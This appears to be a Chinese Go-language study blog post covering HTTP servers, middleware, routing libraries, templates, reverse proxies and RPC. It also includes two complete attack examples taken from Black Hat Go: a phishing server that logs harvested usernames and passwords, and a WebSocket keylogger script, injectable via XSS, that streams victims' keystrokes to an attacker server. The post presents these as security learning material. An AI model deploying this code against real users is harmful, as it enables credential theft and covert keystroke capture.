Golang学习笔记

Golang学习笔记 四 HTTP服务器/钓鱼攻击/键盘记录器/RPC

第四章-HTTP服务器/钓鱼攻击/键盘记录器/RPC

一个简单的http服务器

package main

import (
    "fmt"
    "net/http"
)

func hello(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")
    fmt.Fprintf(w, "Hello, %s\n", name)
}

func main() {
    http.HandleFunc("/hello", hello)
    http.ListenAndServe(":8000", nil)
}

使用动态路由的服务器

package main

import (
    "fmt"
    "net/http"
    "strings"
)

type router struct {
}

func (r *router) ServeHTTP(w http.ResponseWriter, req *http.Request) {
    urlpath := req.URL.Path
    if strings.HasPrefix(urlpath, "/a") {
        fmt.Fprint(w, "hello a")
    } else if strings.HasPrefix(urlpath, "/b") {
        fmt.Fprint(w, "hello b")
    } else if strings.HasPrefix(urlpath, "/c") {
        fmt.Fprint(w, "hello c")
    } else {
        http.Error(w, "404 not found", 404)
    }
}

func main() {
    http.ListenAndServe(":8000", &router{})
}

一个简单的中间件

package main

import (
    "fmt"
    "log"
    "net/http"
)

type logger struct {
    Inner http.Handler
}

func (l *logger) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    log.Print("start")
    l.Inner.ServeHTTP(w, r)
    log.Print("end")
}

func hello(w http.ResponseWriter, r *http.Request) {
    fmt.Fprint(w, "hello\n")
}

func main() {
    f := http.HandlerFunc(hello)
    http.ListenAndServe(":8000", &logger{Inner: f})
}

这里实现了一种类似于装饰器的思想.

首先http.HandlerFunc的定义和方法如下,可以看到HandlerFunc即func(ResponseWriter, *Request)的别名,当调用ServeHTTP函数的时候会回调调用该函数本身,从而调用我们例子中的hello函数

// The HandlerFunc type is an adapter to allow the use of
// ordinary functions as HTTP handlers. If f is a function
// with the appropriate signature, HandlerFunc(f) is a
// Handler that calls f.
type HandlerFunc func(ResponseWriter, *Request)

// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
    f(w, r)
}

然后我们定义了一个自己的结构体logger,包含了一个Inner属性,类型为http.Handler,而http.Handler的定义如下

type Handler interface {
    ServeHTTP(ResponseWriter, *Request)
}

可以看到是一个接口,只需要实现了ServeHTTP这个方法即可,那么我们的HandlerFunc就能充当Handler

最后我们定义了logger的ServeHTTP,执行某些语句,回调hello这个函数的ServeHTTP,最后再执行某些语句,实现了类似于装饰器的结构

调用链为:ListenAndServe使用logger作为路由->logger.ServeHTTP->hello.ServeHTTP->hello

第三方包:alice

Alice提供了一种便捷的方式来链接您的HTTP中间件功能和应用程序处理程序。

如果使用Alice来改写上面的中间件的话,代码会变成

package main

import (
    "fmt"
    "log"
    "net/http"
    "time"

    "github.com/justinas/alice"
)

func logHandler(h http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        log.Print("start")
        h.ServeHTTP(w, r)
        log.Print("end")
    })
}

func timeoutHandler(h http.Handler) http.Handler {
    return http.TimeoutHandler(h, 1*time.Second, "timed out")
}

func hello(w http.ResponseWriter, r *http.Request) {
    fmt.Fprint(w, "hello\n")
}

func main() {
    middleWare := alice.New(logHandler, timeoutHandler)
    http.ListenAndServe(":8000", middleWare.Then(http.HandlerFunc(hello)))
}

可以看到alice包的作用很简单,帮助我们拼接中间件,在经过中间件过后再执行我们的Handler

第三方包:mux

结合了alice和mux的一个简单测试服务器如下

package main

import (
    "fmt"
    "log"
    "net/http"
    "time"

    "github.com/gorilla/mux"
    "github.com/justinas/alice"
)

func logHandler(h http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        log.Print("start")
        h.ServeHTTP(w, r)
        log.Print("end")
    })
}

func timeoutHandler(h http.Handler) http.Handler {
    return http.TimeoutHandler(h, 1*time.Second, "timed out")
}

func hello(w http.ResponseWriter, r *http.Request) {
    value, ok := mux.Vars(r)["value"]
    w.WriteHeader(http.StatusOK)
    if ok {
        r.ParseForm()
        key := r.Form.Get("key")
        fmt.Fprintf(w, "key is %s, value is %s\n", key, value)
    } else {
        fmt.Fprintf(w, "hello")
    }
}

func main() {
    middleWare := alice.New(logHandler, timeoutHandler)
    r := mux.NewRouter()
    s := r.PathPrefix("/hello").Subrouter()
     s.HandleFunc("", hello).Methods("GET")
     s.HandleFunc("/", hello).Methods("GET")
    s.HandleFunc("/{value}", hello).Methods("POST")
    http.ListenAndServe(":8000", middleWare.Then(r))
}

第三方包:Martini

Martini更像是集成了前面所有的包的第三方包,不使用原生的net/http包

具体使用查看这里,值得一提的是可以在这里找到这个第三方包的中间件

HTML模板

golang中自带有html模板的包:html/template,一个简单的使用如下

package main

import (
    "html/template"
    "net/http"

    "github.com/go-martini/martini"
)

type TemplateData struct {
    UserName string
    Password string
}

var x = `<html>
 <body>
   Hello {{.UserName}}. Your password is {{.Password}}.
 </body>
</html>`

func main() {
    m := martini.Classic()
    m.Get("/", func() string {
        return "Hello world!"
    })
    m.Get("/hello/:UserName/:Password", func(params martini.Params, w http.ResponseWriter) {
        t, err := template.New("hello").Parse(x)
        if err != nil {
            w.WriteHeader(500)
        }
        td := TemplateData{UserName: params["UserName"], Password: params["Password"]}
        t.Execute(w, td)
    })
    m.RunOnAddr(":8000")
}

Credential Harvesting Attack(凭证收集攻击)

实际上就是钓鱼,核心思想是创建克隆网站,欺骗用户输入它的凭证并记录

blackhat-go里给了一个示例

这里需要将下载下来的public/index.html中的表单action改为"/login"

然后使用golang构建一个简单的http服务器用于窃取凭证

package main

import (
    "net/http"
    "os"
    "time"

    "github.com/gorilla/mux"
    log "github.com/sirupsen/logrus"
)

func login(w http.ResponseWriter, r *http.Request) {
    log.WithFields(log.Fields{
        "time":       time.Now().String(),
        "username":   r.FormValue("_user"),
        "password":   r.FormValue("_pass"),
        "user-agent": r.UserAgent(),
        "ip_address": r.RemoteAddr,
    }).Info("login attempt")
    http.Redirect(w, r, "/", 302)
}

func main() {
    fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
    if err != nil {
        panic(err)
    }
    defer fh.Close()
    log.SetOutput(fh)
    r := mux.NewRouter()
    r.HandleFunc("/login", login).Methods("POST")
    r.PathPrefix("/").Handler(http.FileServer(http.Dir("./public")))
    log.Fatal(http.ListenAndServe(":8080", r))
}

这里用到了http.FileServer和http.Dir,配合gorilla/mux,将public目录设置成了web根目录,函数login的作用就是将用户post的内容记录在日志中

Keylogging With Websocket(使用Websocket的键盘记录器)

攻击场景是自己架设了一个服务器或者某个服务器上存在XSS漏洞,这时可以通过插入某段恶意JS代码,通过Websocket将用户的任何输入发送回攻击者的服务器

首先需要一个测试环境,blackhat-go推荐使用JSBIN

一段测试用的HTML代码

<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
</head>
<body>
 <script src='http://localhost:8080/logger.js'></script>
 <form action='/login' method='post'>
 <input name='username'/>
 <input name='password'/>
 <input type="submit"/> 
 </form>
</body>
</html>

一段简单的建立websocket的logger.js (Go模板)

(function() {
 var conn = new WebSocket("ws://{{.}}/ws");
 document.onkeypress = keypress;
 function keypress(evt) {
 s = String.fromCharCode(evt.which);
 conn.send(s);
 }
})();

然后一个用于提供logger.js和处理websocket的服务器,这里用到了websocket第三方包

package main

import (
    "flag"
    "fmt"
    "html/template"
    "log"
    "net/http"

    "github.com/gorilla/mux"
    "github.com/gorilla/websocket"
)

var (
    upgrader = websocket.Upgrader{
        CheckOrigin: func(r *http.Request) bool { return true },
    }
    listenAddr string
    wsAddr     string
    jsTemplate *template.Template
)

func init() {
    flag.StringVar(&listenAddr, "listen", "", "Address to listen on")
    flag.StringVar(&wsAddr, "ws", "", "Address for WebSocket connection")
    flag.Parse()
    var err error
    jsTemplate, err = template.ParseFiles("logger.js")
    if err != nil {
        panic(err)
    }
}

func serveWS(w http.ResponseWriter, r *http.Request) {
    conn, err := upgrader.Upgrade(w, r, nil)
    if err != nil {
        http.Error(w, "", 500)
        return
    }
    defer conn.Close()
    fmt.Printf("Connection from %s\n", conn.RemoteAddr().String())
    for {
        _, msg, err := conn.ReadMessage()
        if err != nil {
            return
        }
        fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))

    }

}

func serveLogger(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/javascript")
    jsTemplate.Execute(w, wsAddr)
}

func main() {
    r := mux.NewRouter()
    r.HandleFunc("/ws", serveWS)
    r.HandleFunc("/logger.js", serveLogger)
    fmt.Println("test", wsAddr)
    log.Fatal(http.ListenAndServe(":8080", r))
}

websocket还是很好玩的,实际效果如下

image-20201119104322726

Reverse Proxy(反向代理)

golang自带的httputil包中存在ReverseProxy的实现,一个简单的反向代理如下

package main

import (
    "log"
    "net/http"
    "net/http/httputil"
    "net/url"
)

func main() {
    // 将 http://127.0.0.1:8888/ 反向代理到 http://127.0.0.1:80/
    targetUrlString := "http://127.0.0.1:80/"
    targetUrl, err := url.Parse(targetUrlString)
    if err != nil {
        log.Fatal("err")
    }
    proxy := httputil.NewSingleHostReverseProxy(targetUrl)
    log.Println("Reverse proxy server at 127.0.0.1:8888")
    if err := http.ListenAndServe(":8888", proxy); err != nil {
        log.Fatalln("Error:", err)
    }
}

简单的RPC服务器

参考文章:Go官方库RPC开发指南

使用golang中自带的net/rpc包编写一个简单的rpc服务器(可以用于实现类似动态导入的功能)

首先定义一个rpc_client.go

package rpc_server

import (
    "errors"
    "log"
    "net"
    "net/http"
    "net/rpc"
)

type Args struct {  // 传入参数结构
    A, B int
}

// 返回参数结构
type Quotient struct {
    Quo, Rem int
}

// rpc服务器要实现的接口
type ServiceInterface interface {
    Multiply(args *Args, reply *int) error
    Divide(args *Args, quo *Quotient) error
}

// 空的结构,用于实现rpc服务器接口
type Service struct { 
}

// 实现Multiply方法
func (ss *Service) Multiply(args *Args, reply *int) error {  
    *reply = args.A * args.B
    return nil
}

// 实现Divide方法
func (ss *Service) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("Divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

// 开始监听端口,处理连接
func Start() {
    s := new(Service)
    rpc.Register(s)
    rpc.HandleHTTP()

    l, e := net.Listen("tcp", ":8888")
    if e != nil {
        log.Fatal("listen error:", e)
    }
    go http.Serve(l, nil)
}

然后编写rpc_client.go

package rpc_client

import (
    "fmt"
    "learn/rpc_server"
    "log"
    "net/rpc"
)

const ServiceName = "Service"

// 连接到rpc服务器并且远程调用Multiply方法
func Connect(address string) {
    client, err := rpc.DialHTTP("tcp", address)
    if err != nil {
        log.Fatal("Dial error:", err)
    }
    args := &rpc_server.Args{A: 7, B: 8}
    var reply int
    err = client.Call(ServiceName+".Multiply", args, &reply)
    if err != nil {
        log.Fatal("Error:", err)
    }
    fmt.Printf("Multiply: %d*%d=%d", args.A, args.B, reply)
}

最后编写一个main.go做测试

package main

import (
    "learn/rpc_client"
    "learn/rpc_server"
    "time"
)

func main() {
    rpc_server.Start()
    time.Sleep(1 * time.Second)
    rpc_client.Connect("127.0.0.1:8888")
}

实现效果如下

image-20201122101848777

然而golang中自带的net/rpc包存在某些缺点,如:(参考文章:Golang标准库RPC实践及改进)

  • 当集群机器增加到一定数量,请求量变大时,会出现很多任务卡住没有响应的情况,可以转用tcp实现rpc服务器解决
  • rpc包里的rpc.Dial函数没有timeout, 系统默认是没有timeout的,所以在这里可能卡住.所以我们可以采用net包里的 net.DialTimeout函数
  • rpc包里默认使用gobCodec来编码解码, 这里io可能会卡住而不返回错误,所以我们要自己编写加入timeout的codec. 注意server这边读写都有timeout,但是client这边只有写有timeout,因为读的话并不能预知任务完成的时间

可以学习下rpcx好像使用起来更加简单,而且features也很多

一个简单的服务器如下

package main

import (
    "context"
    "flag"
    "fmt"

    example "github.com/rpcxio/rpcx-examples"
    "github.com/smallnest/rpcx/server"
)

var (
    addr = flag.String("addr", "localhost:8888", "server address")
)

type Arith struct{}

// the second parameter is not a pointer
func (t *Arith) Mul(ctx context.Context, args example.Args, reply *example.Reply) error {
    reply.C = args.A * args.B
    fmt.Println("C=", reply.C)
    return nil
}

func main() {
    flag.Parse()

    s := server.NewServer()
    //s.Register(new(Arith), "")
    s.RegisterName("Arith", new(Arith), "")
    err := s.Serve("tcp", *addr)
    if err != nil {
        panic(err)
    }
}

一个简单的客户端如下,这里值得注意的是根据github的Readme所说,因为rpcx依赖于etcd,而etcd在go mods里使用存在问题,所以需要在go.mod中添加

replace google.golang.org/grpc => google.golang.org/grpc v1.29.0
package main

import (
    "context"
    "flag"

    "log"

    "github.com/smallnest/rpcx/protocol"

    example "github.com/rpcxio/rpcx-examples"
    "github.com/smallnest/rpcx/client"
)

var (
    addr = flag.String("addr", "localhost:8888", "server address")
)

func main() {
    flag.Parse()
    d := client.NewPeer2PeerDiscovery("[email protected]"+*addr, "")
    opt := client.DefaultOption
    opt.SerializeType = protocol.JSON

    xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, opt)
    defer xclient.Close()

    args := example.Args{
        A: 10,
        B: 20,
    }

    reply := &example.Reply{}
    err := xclient.Call(context.Background(), "Mul", args, reply)
    if err != nil {
        log.Fatalf("failed to call: %v", err)
    }

    log.Printf("%d * %d = %d", args.A, args.B, reply.C)

}

可以看到接收参数和返回参数的定义都存在了github.com/rpcxio/rpcx-examples里,到时候要自己编写的话可以自己提前写好丢到github上

可以学习下grpc-go(似乎概念比较多 暂时咕了)

longlone

Copyright © 2020 Longlone's Blog. All rights reserved.